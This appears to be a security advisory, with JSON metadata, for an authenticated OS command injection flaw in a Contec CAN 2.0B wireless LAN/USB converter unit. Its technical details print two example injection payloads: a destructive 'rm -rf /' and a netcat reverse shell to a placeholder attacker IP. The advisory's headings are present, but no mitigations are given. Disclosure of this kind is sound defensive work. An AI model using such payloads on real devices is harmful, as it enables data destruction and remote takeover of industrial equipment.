Description

Improper neutralization of special elements used in an OS command ('OS Command Injection') issue exists in Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. If this vulnerability is exploited, an arbitrary OS command may be executed by an attacker who can log in to the product.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "8.8",
  "pubDate": "2026-09-14T07:17:21.203Z",
  "pubdate": "2026-09-14T07:17:21.203Z",
  "executiveSummary": "The Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit is affected by an Improper neutralization of special elements used in an OS command vulnerability, classified as CWE-78 (OS Command Injection).\nThis security flaw allows an authenticated attacker to execute arbitrary OS commands on the underlying host system.\nThe vulnerability poses a severe risk to the confidentiality, integrity, and availability of the device, potentially allowing an attacker to gain full control over the converter unit.\nSuccessful exploitation requires the attacker to have established a valid login session on the product.\nThis vulnerability highlights a lack of input validation and sanitization within the product's command-line interface or web management environment, enabling command concatenation or injection via malicious input vectors.",
  "technicalDetails": "The vulnerability resides in the way the product processes user-supplied input before passing it to system-level calls or shell execution environments. By failing to neutralize special metacharacters—such as semicolons, ampersands, pipes, or backticks—the application allows an authenticated user to escape the intended command context and append arbitrary malicious commands.\nThe root cause is identified as improper neutralization of special elements used in an OS command, specifically occurring when unsanitized input is passed to a system execution function, such as system(), exec(), or popen().\nThe attack flow begins with the attacker establishing an authenticated session with the Contec CAN 2.0B device. Upon identifying an input field or interface that processes configuration parameters or administrative commands, the attacker crafts a payload containing malicious shell commands injected alongside legitimate data. For example, by inserting a character sequence like '; rm -rf /' or '; nc [attacker_ip] [port] -e /bin/sh', the attacker forces the underlying OS to execute the injected payload with the privileges of the service managing the input interface.\nSince the device operates as a communication converter, the underlying OS likely runs a stripped-down Linux distribution or embedded environment. The impact of such command injection is critical, as it facilitates unauthorized remote code execution (RCE). An attacker can leverage this access to perform lateral movement within the network, exfiltrate configuration data, install persistence mechanisms, or disrupt critical industrial communication flows handled by the CAN 2.0B unit.\nThe vulnerability specifically affects the Contec CAN 2.0B Communication Wireless LAN / USB Converter Unit. Exploitation is contingent upon the attacker already possessing valid credentials to log in, making this a post-authentication vulnerability that significantly escalates the privilege level of the attacker from a standard user to a root-level system operator.\nThere is no evidence of adequate input sanitization or the use of parameterized APIs that would prevent the shell from interpreting user input as command-line arguments, thereby violating the fundamental security principle of separation between data and executable code."
}